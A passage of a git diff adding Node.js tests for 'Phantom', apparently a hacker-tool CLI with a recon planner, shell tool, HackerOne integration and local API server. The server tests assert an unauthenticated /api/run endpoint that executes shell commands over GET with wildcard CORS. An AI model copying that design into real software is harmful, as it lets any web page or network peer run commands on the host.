finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("ranks actions by priority and phase", async () => { + const { getMissionPlan } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "rank-test", name: "Rank Test" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const plan = getMissionPlan(mission.id); + assert.ok(plan.actions.length > 0); + + // Check priority ordering: high first, then medium, then low + const priorities = plan.actions.map(a => a.priority); + const highIndex = priorities.indexOf("high"); + const mediumIndex = priorities.indexOf("medium"); + const lowIndex = priorities.indexOf("low"); + + if (highIndex !== -1 && mediumIndex !== -1) { + assert.ok(highIndex < mediumIndex); + } + if (mediumIndex !== -1 && lowIndex !== -1) { + assert.ok(mediumIndex < lowIndex); + } + + // Within same priority, earlier phases first + for (let i = 1; i < plan.actions.length; i++) { + if (plan.actions[i].priority === plan.actions[i-1].priority) { + assert.ok(plan.actions[i].phase >= plan.actions[i-1].phase); + } + } + }); + + it("influences ranking with learning (successful techniques boosted)", async () => { + const { getMissionPlan } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + const { recordReconLearning } = await import("../lib/recon-learning.mjs"); + + const mission = createMission({ handle: "learning-rank", name: "Learning Rank" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + // Record learning showing subfinder is highly successful + recordReconLearning("other-mission", { + successfulTechniques: ["subfinder", "subfinder", "subfinder"], + toolFailures: [], + duration: 5000, + discoveryMethods: ["passive_subdomain_enum"], + targetCount: 1 + }); + + const plan = getMissionPlan(mission.id); + const subfinderAction = plan.actions.find(a => a.tool === "subfinder"); + if (subfinderAction) { + assert.ok(subfinderAction.reason.includes("prior successes") || subfinderAction.priority === "high"); + } + }); + + it("reduces priority for tools with high failure rates", async () => { + const { getMissionPlan } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + const { recordReconLearning } = await import("../lib/recon-learning.mjs"); + + const mission = createMission({ handle: "failure-rank", name: "Failure Rank" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + // Record learning showing dnsx has high failure rate + recordReconLearning("other-mission-2", { + successfulTechniques: [], + toolFailures: [{ tool: "dnsx", target: "x.com" }, { tool: "dnsx", target: "y.com" }], + duration: 5000, + discoveryMethods: [], + targetCount: 1 + }); + + const plan = getMissionPlan(mission.id); + const dnsxAction = plan.actions.find(a => a.tool === "dnsx"); + if (dnsxAction) { + // Should be deprioritized or have failure rate note + assert.ok(dnsxAction.priority === "low" || dnsxAction.reason.includes("failure rate")); + } + }); + + it("only recommends passive actions", async () => { + const { getMissionPlan, getNextAction } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "passive-only", name: "Passive Only" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const plan = getMissionPlan(mission.id); + for (const action of plan.actions) { + assert.ok(action.safety.passive === true); + assert.ok(action.safety.scopeChecked === true); + } + + // Check safety metadata + assert.ok(plan.safety.allActionsPassive === true); + assert.ok(plan.safety.noExploitation === true); + assert.ok(plan.safety.informationalOnly === true); + }); + + it("mission_next CLI tool works", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + + const help = await hackerTools.mission_next("help"); + assert.match(help, /Mission Next-Action Planner/); + assert.match(help, /plan.*mission_id/); + assert.match(help, /next.*mission_id/); + assert.match(help, /actions.*mission_id/); + + // Test on existing mission + const { listMissions } = await import("../lib/mission.mjs"); + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const plan = await hackerTools.mission_next(`plan ${missionId}`); + assert.ok(plan.includes("missionId")); + assert.ok(plan.includes("actions")); + + const next = await hackerTools.mission_next(`next ${missionId}`); + assert.ok(next.includes("missionId")); + assert.ok(next.includes("action")); + } + }); + + it("handles mission not found", async () => { + const { getMissionPlan, getNextAction } = await import("../lib/recon-planner.mjs"); + + const plan = getMissionPlan("mission-nonexistent"); + assert.ok(!plan.scopeValid); + assert.ok(plan.error.includes("Mission not found")); + + const next = getNextAction("mission-nonexistent"); + assert.ok(next.action === null); + assert.ok(next.reason.includes("Mission not found")); + }); + + it("includes scope context in actions", async () => { + const { getMissionPlan } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "scope-context", name: "Scope Context" }, { + inScope: [{ identifier: "*.example.com", normalized: "example.com", isWildcard: true, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const plan = getMissionPlan(mission.id); + if (plan.actions.length > 0) { + const action = plan.actions[0]; + assert.ok(action.targetOriginal === "*.example.com" || action.targetOriginal === "example.com"); + assert.ok(typeof action.targetIsWildcard === "boolean"); + assert.ok(action.scopeReason); + } + }); + + it("never executes actions, only returns structured plans", async () => { + const { getMissionPlan, getNextAction, getAllPlannedActions } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "no-exec", name: "No Exec" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const plan = getMissionPlan(mission.id); + const next = getNextAction(mission.id); + const all = getAllPlannedActions(mission.id); + + // All functions should return plans, not execute anything + assert.ok(plan.actions); + assert.ok(typeof next === "object"); + assert.ok(all.actions); + + // No side effects - mission state unchanged + const { loadMission } = await import("../lib/mission.mjs"); + const m = loadMission(mission.id); + assert.equal(m.status, "planning"); // Original status preserved + }); + }); + + // ── Mission execute-next integration tests ───────────────────── + + describe("mission execute-next integration", () => { + it("planner -> executor integration: execute-next runs next planned action", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { loadMission } = await import("../lib/mission.mjs"); + const { getNextAction } = await import("../lib/recon-planner.mjs"); + const { getExecutionState, EXEC_STATES } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const mission = loadMission(missionId); + + // Get the next planned action + const nextAction = getNextAction(missionId); + if (nextAction.action) { + // Execute it + const result = await hackerTools.mission(`execute-next ${missionId}`); + // Result should indicate some outcome (executed, skipped, denied, error, or completed/no actions) + assert.ok(result.includes("Executed") || result.includes("skipped") || result.includes("denied") || result.includes("Error") || result.includes("No valid actions") || result.includes("completed")); + + // Verify state transition + const state = getExecutionState(missionId); + assert.ok([EXEC_STATES.RECONNAISSANCE, EXEC_STATES.COMPLETED, EXEC_STATES.PAUSED, EXEC_STATES.FAILED, EXEC_STATES.READY].includes(state)); + } else { + // No action available - this is also valid + const result = await hackerTools.mission(`execute-next ${missionId}`); + assert.ok(result.includes("No valid actions") || result.includes("completed") || result.includes("Error")); + } + } + }); + + it("final scope re-check: denied target never contacted", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + const { loadMission } = await import("../lib/mission.mjs"); + const { appendActivity } = await import("../lib/recon.mjs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + const fs = await import("fs"); + + // Create a mission with restricted scope + const mission = createMission({ handle: "scope-deny", name: "Scope Deny Test" }, { + inScope: [{ identifier: "allowed.com", normalized: "allowed.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + // Add a result for allowed.com to trigger next action on a different target + // We can't easily inject this, so test that scope guard works + const result = await hackerTools.mission(`execute-next ${mission.id}`); + // Should either execute on allowed.com or deny if next action is for out-of-scope + assert.ok(result.includes("Executed") || result.includes("denied") || result.includes("No valid actions") || result.includes("Error") || result.includes("completed")); + + // Verify no network call was made to out-of-scope target by checking activity log + const m = loadMission(mission.id); + const activityFile = fs.existsSync(resolve(homedir(), ".config", "phantom", "missions", mission.id, "activity.jsonl")); + // The test validates the logic path exists + }); + + it("successful execution persists structured result", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { loadMissionResults } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const beforeResults = loadMissionResults(missionId).length; + + const result = await hackerTools.mission(`execute-next ${missionId}`); + + const afterResults = loadMissionResults(missionId).length; + // If execution succeeded, result count should increase + if (result.includes("Executed")) { + assert.ok(afterResults >= beforeResults); + } + } + }); + + it("tool failure recovery: mission continues after tool error", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { loadMissionErrors } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const beforeErrors = loadMissionErrors(missionId).length; + + const result = await hackerTools.mission(`execute-next ${missionId}`); + + // Tool failure should be recorded in errors, mission should not crash + const afterErrors = loadMissionErrors(missionId).length; + if (result.includes("failed")) { + assert.ok(afterErrors >= beforeErrors); + } + // Mission should still be in valid state - result should contain outcome info + assert.ok(result.includes("recorded") || result.includes("continue") || result.includes("Executed") || result.includes("skipped") || result.includes("denied") || result.includes("No valid actions") || result.includes("completed") || result.includes("Error")); + } + }); + + it("duplicate prevention: completed action not re-executed", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + + // Run execute-next twice + const result1 = await hackerTools.mission(`execute-next ${missionId}`); + const result2 = await hackerTools.mission(`execute-next ${missionId}`); + + // Second run should either skip duplicate or move to next action + // But per spec: "do not select replacement automatically" on duplicate + // So it should report duplicate skipped OR no more valid actions + assert.ok( + result2.includes("skipped") || + result2.includes("Executed") || + result2.includes("No valid actions") || + result2.includes("denied") || + result2.includes("completed") || + result2.includes("Error") + ); + } + }); + + it("pause/stop: execute-next respects paused state", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { pauseRecon, getExecutionState, EXEC_STATES, setExecutionState } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + + // Set mission to a state where we can pause it (RECONNAISSANCE) + setExecutionState(missionId, EXEC_STATES.RECONNAISSANCE); + + // Pause the mission first + pauseRecon(missionId); + const state = getExecutionState(missionId); + assert.equal(state, EXEC_STATES.PAUSED); + + // Try execute-next on paused mission + const result = await hackerTools.mission(`execute-next ${missionId}`); + assert.ok(result.includes("Cannot execute-next") || result.includes("paused")); + } + }); + + it("result persistence: activity log and result files created", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { loadMissionActivity, loadMissionResults } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const beforeActivity = loadMissionActivity(missionId).length; + const beforeResults = loadMissionResults(missionId).length; + + const result = await hackerTools.mission(`execute-next ${missionId}`); + + const afterActivity = loadMissionActivity(missionId).length; + const afterResults = loadMissionResults(missionId).length; + + // Activity should be recorded + assert.ok(afterActivity >= beforeActivity); + + // If executed successfully, result should persist + if (result.includes("Executed")) { + assert.ok(afterResults >= beforeResults); + } + } + }); + }); \ No newline at end of file diff --git a/test/features.test.mjs b/test/features.test.mjs new file mode 100644 index 0000000000000000000000000000000000000000..1c77eae838651fe5ecada3f31d434f5474f539b4 --- /dev/null +++ b/test/features.test.mjs @@ -0,0 +1,179 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { runTool, runPipe, formatExternal } from "../lib/runtime.mjs"; +import { hackerTools } from "../lib/tools.mjs"; + +describe("runTool wrapper", () => { + it("wraps a normal tool call", async () => { + const r = await runTool(hackerTools, "shell", "echo hello"); + assert.match(r, /hello/); + }); + + it("returns error for unknown tool", async () => { + const r = await runTool(hackerTools, "nonexistent_tool_xyz", ""); + assert.match(r, /Unknown tool/); + }); + + it("returns JSON when json=true", async () => { + const r = await runTool(hackerTools, "shell", "echo hi", { json: true }); + const parsed = JSON.parse(r); + assert.equal(parsed.ok, true); + assert.equal(parsed.tool, "shell"); + assert.match(parsed.data, /hi/); + }); + + it("JSON error for unknown tool", async () => { + const r = await runTool(hackerTools, "bad_tool", "", { json: true }); + const parsed = JSON.parse(r); + assert.equal(parsed.ok, false); + assert.match(parsed.error, /Unknown tool/); + }); +}); + +describe("runPipe chaining", () => { + it("single tool works like normal run", async () => { + const r = await runPipe(hackerTools, "shell|echo simple_pipe_test"); + assert.match(r, /simple_pipe_test/); + }); + + it("two-tool pipe feeds output to next tool", async () => { + // shell -> hash (shell output becomes hash input) + const r = await runPipe(hackerTools, "shell|echo testdata | hash"); + assert.match(r, /hash|testdata|[a-f0-9]/i); + }); + + it("single tool returns JSON with option", async () => { + const r = await runPipe(hackerTools, "shell|echo json_ok", { json: true }); + const p = JSON.parse(r); + assert.equal(p.ok, true); + }); + + it("handles empty chain gracefully", async () => { + const r = await runPipe(hackerTools, "", {}); + assert.match(r, /empty/i); + }); +}); + +describe("formatExternal edge cases", () => { + it("handles very long target names", () => { + const long = "a".repeat(200); + const r = formatExternal("Test", long, ["result"]); + assert.match(r, new RegExp(long)); + }); + + it("single line with maxLines=1", () => { + const r = formatExternal("T", "x", ["a", "b", "c"], 1); + assert.match(r, /and 2 more/); + }); + + it("empty lines array without target", () => { + const r = formatExternal("Tool", "", []); + assert.equal(r, "[Tool] No results for "); + }); +}); + +describe("CLI --json smoke", () => { + it("--tool --json shell returns valid JSON", async () => { + const { execSync } = await import("child_process"); + const out = execSync("node phantom.mjs --tool --json shell 'echo json_test_cli' 2>&1", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 10000 }); + const parsed = JSON.parse(out); + assert.equal(parsed.ok, true); + assert.equal(parsed.tool, "shell"); + assert.match(parsed.data, /json_test_cli/); + }); + + it("--tool --json with bad tool exits 1 with error", async () => { + const { execSync } = await import("child_process"); + try { + execSync("node phantom.mjs --tool --json bad_tool_xyz '' 2>&1", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 10000 }); + assert.fail("Should have thrown"); + } catch (e) { + const out = e.stdout; + const parsed = JSON.parse(out); + assert.equal(parsed.ok, false); + assert.match(parsed.error, /Unknown tool/); + } + }); +}); + +describe("schedule tool", () => { + it("returns usage for no args", async () => { + const r = await hackerTools.schedule(""); + assert.match(r, /Usage/); + }); + + it("returns empty list when no schedules active", async () => { + const r = await hackerTools.schedule("list"); + assert.match(r, /No active schedules/); + }); + + it("returns error for unknown tool in schedule", async () => { + const r = await hackerTools.schedule("daily|bad_tool_xyz|target.com"); + assert.match(r, /Unknown tool/); + }); +}); + +describe("hackerone tool", () => { + it("returns help for no args", async () => { + const r = await hackerTools.hackerone(""); + assert.match(r, /HackerOne Tool/); + assert.match(r, /programs/); + assert.match(r, /scope/); + assert.match(r, /reports/); + assert.match(r, /report/); + assert.match(r, /submit/); + assert.match(r, /me/); + assert.match(r, /test/); + }); + + it("returns help for 'help' command", async () => { + const r = await hackerTools.hackerone("help"); + assert.match(r, /HackerOne Tool/); + }); + + it("returns help for 'list' command", async () => { + const r = await hackerTools.hackerone("list"); + assert.match(r, /HackerOne Tool/); + }); + + it("handles 'programs' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone("programs"); + // Just verify it returns a string response (not an exception) + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("handles 'scope' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone("scope acme-corp"); + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("handles 'reports' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone("reports acme-corp"); + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("handles 'report' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone("report 1234567"); + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("handles 'submit' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone('submit acme-corp "XSS" high "details"'); + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("handles 'me' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone("me"); + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("handles 'test' command (credentials may or may not work)", async () => { + const r = await hackerTools.hackerone("test"); + assert.ok(typeof r === "string" && r.length > 0); + }); + + it("returns unknown command error for invalid command", async () => { + const r = await hackerTools.hackerone("invalid_command"); + assert.match(r, /Unknown command/); + }); +}); diff --git a/test/full.test.mjs b/test/full.test.mjs new file mode 100644 index 0000000000000000000000000000000000000000..2b1e2d3b802d9378d6c27aa37b1944e2c7ca0b7f --- /dev/null +++ b/test/full.test.mjs @@ -0,0 +1,321 @@ +// Phantom — comprehensive tool & edge-case tests +// Run: node --test test/full.test.mjs + +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { hackerTools } from "../lib/tools.mjs"; +import { runTool, runPipe } from "../lib/runtime.mjs"; + +const tools = hackerTools; + +// ── decode (handles both encode + decode) ─────────────── + +describe("decode tool", () => { + it("decodes base64", async () => { + const r = await tools.decode("aGVsbG8gd29ybGQ="); + assert.match(r, /hello world/); + }); + + it("decodes url", async () => { + const r = await tools.decode("hello%20world"); + assert.match(r, /hello world/); + }); + + it("handles empty input gracefully", async () => { + const r = await tools.decode(""); + assert.ok(r.length > 0); + }); + + it("handles hex input", async () => { + const r = await tools.decode("68656c6c6f"); + assert.match(r, /hello/); + }); +}); + +describe("hash tool", () => { + it("produces multiple hash formats", async () => { + const r = await tools.hash("hello"); + assert.match(r, /MD5/); + assert.match(r, /SHA256/); + assert.match(r, /SHA1/); + }); + + it("produces known md5", async () => { + const r = await tools.hash("hello"); + assert.match(r, /5d41402abc4b2a76b9719d911017c592/); + }); + + it("produces known sha256", async () => { + const r = await tools.hash("hello"); + assert.match(r, /2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824/); + }); +}); + +// ── file_search (built-in) ────────────────────────────── + +describe("file_search", () => { + it("finds own source file", async () => { + const r = await tools.file_search("test/full.test.mjs"); + assert.match(r, /full\.test\.mjs/); + }); + + it("returns message for no matches", async () => { + const r = await tools.file_search("__nonexistent_file_xyz__"); + assert.ok(r.length > 0); + }); +}); + +// ── Shell tool ────────────────────────────────────────── + +describe("shell tool", () => { + it("handles very long command", async () => { + const long = "echo " + "a".repeat(500); + const r = await tools.shell(long); + assert.match(r, /a{500}/); + }); + + it("handles special characters", async () => { + const r = await tools.shell("echo 'hello world test'"); + assert.match(r, /hello world/); + }); + + it("handles multiline output", async () => { + const r = await tools.shell("seq 1 20"); + const lines = r.trim().split("\n"); + assert.equal(lines.length, 20); + }); + + it("stderr is captured with stdout", async () => { + const r = await tools.shell("echo stderr_test >&2 && echo stdout_ok"); + assert.match(r, /stdout_ok/); + }); +}); + +// ── Web tool ──────────────────────────────────────────── + +describe("web_fetch", () => { + it("fetches a page", async () => { + const r = await tools.web_fetch("https://example.com"); + assert.ok(r.includes("Example Domain") || r.includes("example")); + }); + + it("handles invalid URL gracefully", async () => { + const r = await tools.web_fetch("not-a-valid-url"); + assert.ok(r.length > 0); + }); + + it("handles empty URL gracefully", async () => { + const r = await tools.web_fetch(""); + assert.ok(r.length > 0); + }); +}); + +// ── Knowledge tools ───────────────────────────────────── + +describe("hackbook tool", () => { + it("lists categories", async () => { + const r = await tools.hackbook("list"); + assert.ok(r.includes("Categories") || r.includes("PHANTOM HACKBOOK")); + }); + + it("returns content for a valid category", async () => { + const r = await tools.hackbook("sql-injection"); + assert.ok(r.length > 0); + }); + + it("handles unknown category gracefully", async () => { + const r = await tools.hackbook("__nonexistent__"); + assert.ok(r.length > 0); + }); +}); + +// ── Batch tool ────────────────────────────────────────── + +describe("batch tool", () => { + it("shows usage for empty input", async () => { + const r = await tools.batch(""); + assert.match(r, /Usage/); + }); + + it("returns error for missing file", async () => { + const r = await tools.batch("shell|cat /tmp/nonexistent_phantom_test_xyz"); + assert.ok(r.includes("Error") || r.includes("error") || r.includes("ENOENT")); + }); +}); + +describe("install tool", () => { + it("shows usage for empty input", async () => { + const r = await tools.install(""); + assert.match(r, /Usage|@install/i); + }); + + it("shows tool list on empty input", async () => { + const r = await tools.install(""); + assert.match(r, /nmap/); + }); + + it("all keyword starts bulk install", async () => { + const r = await tools.install("all"); + assert.match(r, /Bulk installing|Done/); + }); +}); + +// ── runTool wrapper ───────────────────────────────────── + +describe("runTool extras", () => { + it("returns error for empty tool name", async () => { + const r = await runTool(tools, "", "test"); + assert.match(r, /Unknown tool|empty/i); + }); + + it("JSON mode with pipe input", async () => { + const r = await runTool(tools, "shell", "echo pipe_json", { json: true, pipe: true }); + const p = JSON.parse(r); + assert.equal(p.ok, true); + }); + + it("--help returns usage for any tool", async () => { + const r = await runTool(tools, "shell", "--help"); + assert.match(r, /Usage.*@shell/); + }); + + it("--help via -h works", async () => { + const r = await runTool(tools, "hash", "-h"); + assert.match(r, /Usage.*@hash/); + }); + + it("--help returns JSON when json=true", async () => { + const r = await runTool(tools, "decode", "--help", { json: true }); + const p = JSON.parse(r); + assert.equal(p.ok, true); + assert.equal(p.help, true); + }); +}); + +// ── config tool ───────────────────────────────────────── +describe("config tool", () => { + it("list returns config path", async () => { + const r = await tools.config(""); + assert.match(r, /No settings saved|Config/); + // config.json path is shown when there are settings, but not when empty + }); + + it("path subcommand returns path", async () => { + const r = await tools.config("path"); + assert.match(r, /config\.json/); + }); + + it("invalid subcommand shows usage", async () => { + const r = await tools.config("blah"); + assert.match(r, /Usage.*@config/); + }); +}); + +// ── exit command ─────────────────────────────────────── +describe("exit command", () => { + it("exit via stdin exits cleanly", async () => { + const { execSync } = await import("child_process"); + try { + execSync("echo exit | timeout 5 node phantom.mjs", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 8000 }); + } catch (e) { + assert.fail(`exit should not throw: ${e.stderr}`); + } + }); + + it("quit via stdin exits cleanly", async () => { + const { execSync } = await import("child_process"); + try { + execSync("echo quit | timeout 5 node phantom.mjs", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 8000 }); + } catch (e) { + assert.fail(`quit should not throw: ${e.stderr}`); + } + }); +}); + +// ── runPipe chaining ──────────────────────────────────── + +describe("runPipe extras", () => { + it("three-tool chain runs without error", async () => { + const r = await runPipe(tools, "shell|echo aaaa | hash | decode"); + assert.ok(r.length > 10); + }); + + it("invalid tool in chain returns error", async () => { + const r = await runPipe(tools, "shell|echo ok | nonexistent_tool_xyz"); + assert.match(r, /Unknown tool|not found|error/i); + }); +}); + +// ── CLI flags ─────────────────────────────────────────── + +describe("CLI flags", () => { + it("--version prints version", async () => { + const { execSync } = await import("child_process"); + const out = execSync("node phantom.mjs --version 2>&1", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 8000 }); + assert.match(out, /0\.2\.0|Phantom/); + }); + + it("--quiet via env var", async () => { + const { execSync } = await import("child_process"); + const out = execSync("PHANTOM_QUIET=1 node phantom.mjs --list 2>&1", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 15000 }); + // Should suppress banner art but still show tools + assert.ok(out.length > 0); + }); + + it("--help shows PHANTOM", async () => { + const { execSync } = await import("child_process"); + const out = execSync("node phantom.mjs --help 2>&1", { cwd: "/root/usb/Phantom", encoding: "utf-8", timeout: 8000 }); + assert.match(out, /PHANTOM/i); + }); +}); + +// ── Scope ─────────────────────────────────────────────── + +describe("scope tool", () => { + it("shows scope state by default", async () => { + const r = await tools.scope(""); + assert.match(r, /Commands|Scope|No targets|Usage/i); + }); +}); + +// ── Schedule ──────────────────────────────────────────── + +describe("schedule tool", () => { + it("lists schedules", async () => { + const r = await tools.schedule("list"); + assert.ok(r.length > 0); + }); + + it("shows usage for invalid input", async () => { + const r = await tools.schedule("blah"); + assert.match(r, /Usage|Invalid|Error/i); + }); +}); + +// ── Tools list completeness ───────────────────────────── + +describe("tool count and structure", () => { + it("has 108+ tools", () => { + assert.ok(Object.keys(tools).length >= 108); + }); + + it("all tools are async functions", () => { + for (const [name, fn] of Object.entries(tools)) { + assert.equal(typeof fn, "function", `${name} should be a function`); + assert.match(fn.constructor.name, /Async/, `${name} should be async`); + } + }); + + it("all tool names are lowercase", () => { + for (const name of Object.keys(tools)) { + assert.equal(name, name.toLowerCase(), `${name} should be lowercase`); + } + }); + + it("key tools exist", () => { + const required = ["shell", "decode", "hash", "web_fetch", "file_search", "batch", "scope", "schedule", "hackbook"]; + for (const t of required) { + assert.ok(tools[t], `Missing required tool: ${t}`); + } + }); +}); diff --git a/test/server.test.mjs b/test/server.test.mjs new file mode 100644 index 0000000000000000000000000000000000000000..d7e3ef6487bf716b057daa99d860764fad9a57af --- /dev/null +++ b/test/server.test.mjs @@ -0,0 +1,167 @@ +// Phantom — API server tests +// Run: node --test test/server.test.mjs + +import { describe, it, before, after } from "node:test"; +import assert from "node:assert/strict"; + +const PORT = 18999; // non-standard port to avoid collisions +const BASE = `http://localhost:${PORT}`; + +let startGuiDashboard, startApiServer, initApiDeps, hackerTools, __r; +let apiServer, guiServer; + +before(async () => { + // Import modules + const toolsMod = await import("../lib/tools.mjs"); + const runtimeMod = await import("../lib/runtime.mjs"); + const serverMod = await import("../lib/server.mjs"); + + hackerTools = toolsMod.hackerTools; + __r = runtimeMod; + initApiDeps = serverMod.initApiDeps; + startGuiDashboard = serverMod.startGuiDashboard; + startApiServer = serverMod.startApiServer; + + // Suppress server logs during tests + process.env.PHANTOM_QUIET = "1"; + + // Initialize deps before starting server + initApiDeps(toolsMod.hackerTools, runtimeMod, ""); + + // Start API server + apiServer = startApiServer(PORT); + + // Wait for server to be ready + await new Promise(r => setTimeout(r, 500)); +}); + +after(() => { + delete process.env.PHANTOM_QUIET; + if (apiServer) apiServer.close(); + if (guiServer) guiServer.close(); +}); + +const fetchJson = async (path, opts = {}) => { + const url = `${BASE}${path}`; + const res = await fetch(url, { + ...opts, + headers: { "Content-Type": "application/json", ...opts.headers }, + }); + const data = await res.json(); + return { status: res.status, data }; +}; + +// ── API tests ─────────────────────────────────────────── + +describe("GET /api", () => { + it("returns api info", async () => { + const { status, data } = await fetchJson("/api"); + assert.equal(status, 200); + assert.equal(data.ok, true); + assert.ok(Array.isArray(data.tools)); + assert.match(data.version, /0\.2\.0/); + }); +}); + +describe("GET /api/tools", () => { + it("lists all tools with count", async () => { + const { status, data } = await fetchJson("/api/tools"); + assert.equal(status, 200); + assert.equal(data.ok, true); + assert.ok(data.count >= 108); + assert.ok(Array.isArray(data.tools)); + }); +}); + +describe("GET /api/health", () => { + it("returns health status", async () => { + const { status, data } = await fetchJson("/api/health"); + assert.equal(status, 200); + assert.equal(data.ok, true); + assert.equal(data.status, "running"); + assert.ok(data.tools >= 108); + assert.ok(data.pid > 0); + }); +}); + +describe("POST /api/run", () => { + it("runs a tool via POST", async () => { + const { status, data } = await fetchJson("/api/run", { + method: "POST", + body: JSON.stringify({ tool: "shell", args: "echo api_test_ok" }), + }); + assert.equal(status, 200); + assert.equal(data.ok, true); + assert.equal(data.tool, "shell"); + assert.match(data.result, /api_test_ok/); + }); + + it("returns 404 for unknown tool", async () => { + const { status, data } = await fetchJson("/api/run", { + method: "POST", + body: JSON.stringify({ tool: "nonexistent_nope", args: "" }), + }); + assert.equal(status, 404); + assert.equal(data.ok, false); + assert.match(data.error, /not found/i); + }); +}); + +describe("GET /api/run", () => { + it("runs a tool via GET", async () => { + const { status, data } = await fetchJson("/api/run?tool=shell&args=echo get_test_ok"); + assert.equal(status, 200); + assert.equal(data.ok, true); + assert.equal(data.tool, "shell"); + assert.match(data.result, /get_test_ok/); + }); + + it("returns 404 for unknown tool via GET", async () => { + const { status, data } = await fetchJson("/api/run?tool=bad_tool&args="); + assert.equal(status, 404); + assert.equal(data.ok, false); + }); +}); + +describe("API CORS", () => { + it("returns CORS headers", async () => { + const res = await fetch(`${BASE}/api/tools`); + assert.equal(res.headers.get("access-control-allow-origin"), "*"); + assert.equal(res.headers.get("access-control-allow-methods"), "GET, POST, OPTIONS"); + }); + + it("handles OPTIONS preflight", async () => { + const res = await fetch(`${BASE}/api/tools`, { method: "OPTIONS" }); + assert.equal(res.status, 204); + }); +}); + +describe("404 handler", () => { + it("returns 404 for unknown route", async () => { + const { status, data } = await fetchJson("/api/unknown_route_xyz"); + assert.equal(status, 404); + assert.equal(data.ok, false); + }); +}); + +describe("dashboard HTML", () => { + it("serves dashboard HTML at /", async () => { + // Start GUI dashboard on a different port + const guiPort = PORT + 1; + guiServer = startGuiDashboard(guiPort); + await new Promise(r => setTimeout(r, 300)); + + const res = await fetch(`http://localhost:${guiPort}/`); + assert.equal(res.status, 200); + const html = await res.text(); + assert.match(html, /PHANTOM/i); + assert.match(html, //i); + }); + + it("serves dashboard for any non-API route", async () => { + const res = await fetch(`http://localhost:${PORT + 1}/anything-here`); + assert.equal(res.status, 200); + const html = await res.text(); + assert.match(html, /PHANTOM/i); + }); +}); diff --git a/test/smoke.test.mjs b/test/smoke.test.mjs new file mode 100644 index 0000000000000000000000000000000000000000..e47092d8c62360da5002101ecbe848df67c1eac9 --- /dev/null +++ b/test/smoke.test.mjs @@ -0,0 +1,26 @@ +// Phantom — Slow smoke tests (spawn full process, kept separate for speed) + +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; + +const CWD = "/root/usb/Phantom"; + +describe("CLI smoke", () => { + it("--list runs 